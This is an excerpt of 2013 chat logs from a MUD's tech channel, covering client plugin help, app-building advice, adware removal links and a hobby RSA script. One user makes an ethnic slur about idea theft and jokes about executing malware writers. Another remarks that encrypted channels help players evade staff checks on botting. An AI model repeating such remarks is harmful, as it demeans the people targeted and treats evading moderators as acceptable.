T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: tbh, I'd prolly go with winkle's sound pack over pei's
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: winkle's is actually designed for VI
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: so would I. because winkles scripts are awesome!
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: pei's is just for atmosphere
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: and with mush, how do I use rearm?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: for bast's stuff, he has all his scripts in one zipfile...you'd unzip that to be a folder called "bast", and put that "bast" folder into the MUSHclient\worlds\plugins folder
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: for winkle's stuff, you'd put the individiual files into the MUSHclient\worlds\plugins folder
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: oye vay!
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: and for both of them, you'd use that ctrl-shift-p to open the plugins window, click "add" and then select the plugin file that you want to add
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: and it will be good once it's in the world folder?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: omg I'll never be able to do this on my own lol, too much involved
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: once you load it, AND SAVE FROM MUSH!
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Aizma Tech: I run MUSH through WINE and cannot get either copy or paste working properly. Any ideas?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: aizma: try closing MUSHclient and reopening it
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: I'm gonna kill my quest mob really quick and then try to figure this thing out with Winkle's script
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: just remember, all winkles plugins respond to command ww help
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: ok.. and when will I need to use the ctrl shift p command?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: to add the plugin
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: to add and enable the plugins
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: k, I'll let u know how I do lol
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: just read winklewinkles google code page. it tells you everything
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: crap died!
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Bast Tech: Nuanse: why do you think my plugins have little to offer to a VI player?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: anyone here? lol
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: Turie starts to hear the faint sounds of a cricket chirping.
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: Unicornbaby laughs out loud.
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: Turie begins to talk about how he wants to have babies... odd.
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: is abelinc or anyone on?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: as I said earlier, Just ask. Even though you dont hear answer right away. You will get heard and see answer at some point. 
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: yes lol
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: well I went to the website, and is the search and destroy triple pack the one I want?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: ywa
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: yes
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: ok, will download now
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: notice that there is couple vi packs there. so make sure you try them out
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: they are not required. but they sure do help your playing
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: ok, i'll try them out if I can figure out this one out first lol, it saved to my downloads folder, so then unzip it to the aardwolf folder?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Sylra Tech: to the aardwolf plugins folder
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: k
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: unzip to plugins folder
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: then load it (ctrl-shift-p) and if it works. save.
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: control shift p from script folder?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: in mush
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: before I actually sign onto aard though, right?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: you can install plugins when ever. even when you are logged in or even not
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: is saving the scripts the control shift p command? I did that and it brought up the aski mapper thing
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: wha?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: that key command brings up plugins window
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: in mush
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: when I did that command in mush, it said something about aski mapper, is that not right, and do I have to do anything else to save the scripts?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: I have no clue, ascii mapper is a plugin so it could show up if you didnt save earler when you remove it
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: oh ok I see that now, brought up seperate plugin window and asking me for my player name to sign in.
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: so i should log in now, guess it's saved?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: one last question, how do I use the rearm trigger with mush?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: anyone know how to use the rearm trigger with mush?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: oh yay, with mush script I can hunt cp mobs, right?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Sylra Tech: it will tell you which one is your cp mob because you can't hunt it
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: vip MUD does that too, hunt num.mob and then use where, but I thought u can actually hunt with this script I downloaded?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Sylra Tech: the search and destroy script?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: yes
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Sylra Tech: simple answer yes, long answer it uses the hunt trick to find the mob, does a where on the mob then goes to the room for you to kill it
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Sylra Tech: and if there are multiple rooms of the same name it will go to them one at a time until you find the mob
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: oh so it actually takes u to the room once ur in the area?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Sylra Tech: i don't know how that specific script works but i would think yes
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Sylra Tech: or you have to tell it to go to the next room on the list, and it will go
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: ok thank you, and do you know anything about the rearm trigger?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Sylra Tech: nope sorry
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: nuanse on?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Loshy Tech: anyone remember how to change which channel your statmonitor for bast goes to?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: didja try statmn help?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: https://code.google.com/p/bastmush/wiki/StatMonitor
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Loshy Tech: didnt know that was a command thanks
T3/r7/2013-11-04.txt.gz:{chan ch=tech}MonkeyAsh Tech: Hello, everyone. In a few months I want to start a small Indie company. I want to build an App like WhatsApp or Bbm but focused on dating. what programs will I need to build it? It'll be build for Blackberry, Nokia and Pc platforms. Any help will be greatly appreciated, kind folks.
T3/r7/2013-11-04.txt.gz:{chan ch=tech}MonkeyAsh Tech: anyone?
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Tech: Elysian shakes his head.
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Ayasinda Tech: why make an alt just to ask this?
T3/r7/2013-11-04.txt.gz:{chan ch=tech}MonkeyAsh Tech: an 'alt'?
T3/r7/2013-11-04.txt.gz:{chan ch=tech}MonkeyAsh Tech: alt?
T3/r7/2013-11-04.txt.gz:{chan ch=tech}MonkeyAsh Tech: Seriously. This so sucks!
T3/r7/2013-11-04.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Any body know of a database app for android where i can store info of different lvl equipment, then compare it with eq when it pops up on market or auc?
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Tormat Tech: every time i close mush it complains that it can not save the plugins stat... any ideas?
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Domovoy Tech: is there any way to save history of commands in mush client when i close (alt+f4) client?
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Tech: domovoy: you can log the commands typed, or use something like GetCommandList() function, but those just save it for posterity, don't let you resume like you never exited...in order to do that, you would need to get a bit more fancy using PushCommand() on the saved list to shove them into the empty command list on opening MUSHclient
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Tech: and now that I see he's been off for an hour, I'll paste that into a note :P
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Tech: tormat: check whether or not it has permissions to save the state files, which are in MUSHclient\worlds\plugins\state folder...also make sure that MUSHclient is *NOT* in program files or program files (x86)
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Bode Tech: anyone running mush from dropbox? I get an error every tiem i close saying it can't write the status files
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Aizma Tech: I do, but I've never encountered that problem.
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Bode Tech: hmm
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Bode Tech: running plugins?
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Aizma Tech: Yep.
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Bode Tech: hmm
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Bode Tech: makes mapping a bit of a chore.
T3/r7/2013-11-04.txt.gz:{chan ch=tech}MonkeyAsh Tech: Hello everyone
T3/r7/2013-11-04.txt.gz:{chan ch=tech}MonkeyAsh Tech: I want to build a Instant Messaging App. Would learning Java and Xmpp be the only thing I'll have to learn?
T3/r7/2013-11-04.txt.gz:{chan ch=tech}MonkeyAsh Tech: ...
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Depends - do you want any old im, or a good one? It's a pretty silly question, tbh - if you don't know how to program it's an enormously ambitious project
T3/r7/2013-11-04.txt.gz:{chan ch=tech}MonkeyAsh Tech: Finally a response! Thank you for responding. Don't worry about me, I'll manage. I need to get as much info as possible. I need it to be a good app.
T3/r7/2013-11-04.txt.gz:{chan ch=tech}MonkeyAsh Tech: Wait. What is the diffirence between good and old?
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You can whip up an im with a few lines of any language you want - but it will suck. That is what I meant by 'any old im'
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Book of Etzli Tech: "Finally a response!" -- You do realize that it had only been less than 2 minutes since you asked your question, right? Sorry not everyone is at your beck and call when you ask a question, especially at 10 minutes to midnight.
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I can guarantee you right here and now any im app you make is going to suck compared to the vast, vast majority of the literally hundreds of alternatives on offer. You 'need' it to be a good app? You aren't making money on this, let me tell you
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Captain HR Vakieh.
T3/r7/2013-11-04.txt.gz:{chan ch=tech}MonkeyAsh Tech: Lets go with the good one then, Vakieh. Please. 
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: They have been in development for decades, by people who don't just grab the specific domain knowledge required, but rather have been studying app development extensively
T3/r7/2013-11-04.txt.gz:{chan ch=tech}MonkeyAsh Tech: It's six a.m in South Africa.
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Book of Etzli Tech: A majority live in the States, though.
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If you are bent on doing this, go to uni for 3-10 years, build a team of similarly qualified people, and then start coding
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Unfortunately.
T3/r7/2013-11-04.txt.gz:{chan ch=tech}MonkeyAsh Tech: Guys, lets be possitive here! Come on!
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: This is positive - you are fumbling in the dark trying to make the next facebook? Better to pop the bubble early
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Book of Etzli Tech: All I'm saying is don't be so hasty to expect a response. Type 'domains', and you'll see where people are at. :P
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If the question had an answer beyond 'don't do that' there would have been more rapid answers
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Book of Etzli Tech: And Vakieh's right - unless you can offer something so extraordinary that no other device offers, well, you're better off having this as a school project.
T3/r7/2013-11-04.txt.gz:{chan ch=tech}MonkeyAsh Tech: So, I should gather enough money. Hire real programmers. And let them build the App. Well, I thought that making it a dating app would call a lot of peole
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Because there aren't eleventy billion dating im apps...
T3/r7/2013-11-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You *will not* make money from this, period
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Nah, Vakieh. There's only tenty billion.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Eleventy billion hasn't been reached yet.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}MonkeyAsh Tech: Not in African countries.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: I don't know, a quick search shows several already.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: http://south-africa.singlesaroundme.com, for example.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Flirtz, letsmeet, datingbuzz, there are bucketloads
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Captain HR Vakieh.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}MonkeyAsh Tech: FUCK!!!!
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: It's pretty much a given that whatever you've thought of, others are years ahead of you on the same path.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: uh, language? This is a nocurse channel
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Language, please.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: It's not polite to curse on channels such as this.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Hanslanda Tech: it's not polite to curse, period.  That's why it's referred to as vulgarity.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Zade Tech: hurry though, since you've mentioned that great idea on a public channel, those of a idea-thieving ethnic group are likely going to implement that idea and grab the profits for themselves - xchan
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Sonshi Tech: what makes internet companies successful isn't so much the ideas but the management and execution...
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Most likely he's an alt, though. Created just today (most likely 23 minutes ago, too)
T3/r7/2013-11-05.txt.gz:{chan ch=tech}MonkeyAsh Tech: alt?
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Sonshi Tech: most ideas are actually plentiful and obvious to enough people to the point of being worthless in itself. Unless you're talking about hard sciences dealing with the actual structure of the physical world, human body, etc.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Yes, MonkeyAsh.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}MonkeyAsh Tech: what is an alt?
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Elysian Tech: an alt is a alternate character of a person... often have main... then one or more alts.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Sonshi Tech: huh... surprisingly, there's no alt helpfile...
T3/r7/2013-11-05.txt.gz:{chan ch=tech}MonkeyAsh Tech: So, you guys have any suggestions?
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Hanslanda Tech: not even a mention in either of those two common-abbreviations helpfiles Rhuli put together?
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Sonshi Tech: yes. Go to school.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i think you mean rumour
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Zade Tech: if somebody says an idea is no good, or that you are unlikely to implement that idea - be wary - those naysayers may be readying to pilfer the idea for themselves
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Hanslanda Tech: whatever, with a little imm magic, they all look the same to me.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah, not even in any of the slang files.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}MonkeyAsh Tech: I'll be quoting that from now on, Zade.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Nemasess Tech: hello
T3/r7/2013-11-05.txt.gz:{chan ch=tech}SlowMoos Tech: yes, we are the "computer smart" people :-)
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Nemasess Tech: any computer smart people here that can help me please
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Arnica Tech: Whoa Read their mind
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Nemasess Tech: i have a program thats not  showing in the computer add/delete area its in notifications how can i delete that program
T3/r7/2013-11-05.txt.gz:{chan ch=tech}SlowMoos Tech: using windows? - what's the applications name?
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Virus scanner, usually. Other than that delve into Program Files, usually a bad idea for a newbie
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Nemasess Tech: windows 7 and otshot
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Redryn Tech: http://forums.anvisoft.com/viewtopic-45-5837-0.html
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: otshot is an adware payload virus
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Nemasess Tech: its a photo program
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It pretends to be a photo program, yes
T3/r7/2013-11-05.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: and it added a virus to your comp
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So like I said, virus scanner. Microsoft Security essentials, Malwarebytes, CCleaner
T3/r7/2013-11-05.txt.gz:{chan ch=tech}SlowMoos Tech: first hit on google for "otshot"...
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Redryn Tech: OtShot its technically not a virus, but it does exhibit plenty of malicious traits, such as rootkit capabilities to hook deep into the operating system, browser hijacking, and in general just interfering with the user experience. The industry generally refers to it as a PUP, or potentially unwanted program.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tech: Redryn goes, "Heh."
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Nemasess Tech: so how do i get rid of it
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Redryn Tech: visit the link i gave
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Elysian Tech: google get rid of otshot
T3/r7/2013-11-05.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: a lot of pups around here...
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Redryn Tech: http://malwaretips.com/blogs/otshot-removal/
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Hmm... if you end tasks with the task manager... how do you get a frozen task manager to end its own task?
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Power button
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Nemasess Tech: thank you
T3/r7/2013-11-05.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: I thought you could have multiple instances of the task manager. I could be wrong.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Apparently not.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: if you can't, use Process Explorer which can be gotten by using google for Sysinternals and downloading the file.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: Sysnternal is a series of apps unofficially supported by MS.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Arnica Tech: People who write stuff like otshot must be interesting
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: I was thinking an external PE would work... gotta get PE again.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: they should get a life, though.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Zade Tech: sentence them to hard labour then euthanise them
T3/r7/2013-11-05.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: I am satisfied with Process Explorer, all the functionality of Task Manager plus a few more things. But, whatever works.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Arnica Tech: that would be to kind
T3/r7/2013-11-05.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: been using versions since XP
T3/r7/2013-11-05.txt.gz:{chan ch=tech}SlowMoos Tech: https://www.youtube.com/watch?v=VWORgOyCdys <- a great insight in the shady world of malware programming
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: Etzli, here is their hope page: http://technet.microsoft.com/en-us/sysinternals/
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I used PE way back when, but then securom declared it a hack against them. Suddenly no games worked with it installed (not just running, *installed*)
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But then securom got the boot, and MS bought Sysinternals, and now it's much better
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tech: SnailBot Anaristos rapidly nods twice at Captain HR Vakieh, in complete agreement.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: anyone wanna make me a working kernel+initramfs in exchange for some trivia point tokens? x.x
T3/r7/2013-11-05.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: lol
T3/r7/2013-11-05.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: how many TPs we talking
T3/r7/2013-11-05.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: hmmn, how many would be fair?
T3/r7/2013-11-05.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: couple hundred i guess at least =P
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Derendo Tech: any way to not have to hit space after a command using swype on my tablet?
T3/r7/2013-11-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i was crying after i installed steam on my computer and noticed that portal works on linux but portal2 does not :'(, on that note, anyone know anything about steamOS not released on the steam site yet?
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Ranrr Tech: If things like that make you cry, maybe you need to get a life :P
T3/r7/2013-11-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: my life is not having a life!
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: anyone using winkles s&d give me some help on the mapper?
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: I am trying to add portals and suck and the mapper command is not recognized.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: what am i missing
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Aduin Tech: I'm suddenly getting this after retrieving an item from a bag (which i retrieved before that without errors)
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Aduin Tech: Trigger function "invmon" not found or had a previous error.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: close and reopen, one of your eq plugins borked itself
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Aduin Tech: Any idea which one?, I'd like to try to fix it without closing the entire client :)
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Is there some issue with closing and opening the client? I don't know what eq plugins you use
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Aduin Tech: Just standard latest aard + latest bast (only a few though)
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Well in that case it's probably Bast's eq broadcaster - but who knows if it's affected any other plugin
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Aduin Tech: Thanks I'll try fiddling a bit.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Just confused as the time taken to investigate is magnitudes more than the time to just close and reopen...
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: dont have to log off just kill client (keep your keys that way)
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Aduin Tech: I like to know what happens under the hood :)
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: how do you see the room number?
T3/r7/2013-11-05.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Client?  Mush is mapper thisroom.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: thanks
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Whee! My RSA encryption script is going well, and once I figure out coroutines and a couple minor bugs, it'll be complete!
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: what are you encrypting/
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Plaintext. It's not designed to be super-secure, though.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: It's a little challenge I was given, to see if I could write it for CMUD.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: mud text?
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Tormat.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: ah
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: premiss?
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Send encrypted messages (either via channels or notes) and be able to decrypt them. :D So instead of "hello world!" you might get "602 1505 3321 3183 852 8532" :p
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: so, you are building boths ides.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: I've written the encryption part, and ultimately, need to work out the bugs on the decryption itself. But I can generate a key nicely.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: cool
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Hanslanda Tech: the essential reason is to share strategies on how to farm bugs and get around botchecks.  It behooves the involved parties to communicate in a way that IMMs would not be able to easily snoop.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: print(rsa_getkey()) -> p: 47, q: 23, n: 1081, e: 19, d: 799, phi: 1012 :D
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: hehe
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Hanslanda Tech: along with bots, it's pretty much the oldest type of uh-oh script people ask for on the zuggsoft.com scripts.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: yeah
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: i sued to work on those forums
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: There needs to be no hidden agendas in scripts such as these.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Arnica Tech: did you win?
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: And should an Imm ever ask, it's quite easy to give them the code/decryption key for it.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: i said i worked on them... isnt that to defination of loosing
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tech: A Piece Of Herodotus cackles gleefully at Arnica.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: And besides, there are MUCH easier ways to discuss bots and whatnot outside the MUD.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Tormat: The joke went over your head. You said "I sued"... so did you win?
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: thats what i get for not reading my text.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tech: heh, now if you use a double-cipher code which decrypts to an innocuous text with one key and the nefarious text with another key...
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tech: Book of Etzli cackles gleefully at you.  Better keep your distance from him. 
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Why on earth would people communicate like that... on the mud? There are a million and one alternatives
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Honest! It just says, "Lasher's a super-cool dude!"
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: By the way, the script itself is not limited to just MUDding. The script is completely written in Lua, so though I was asked about making it work in CMUD, it's not client-specific.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: nod, its always the logic thats the "hard part" not the syntax
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Arnica Tech: I think he is doing it so Kojiro can write notes no one can understand
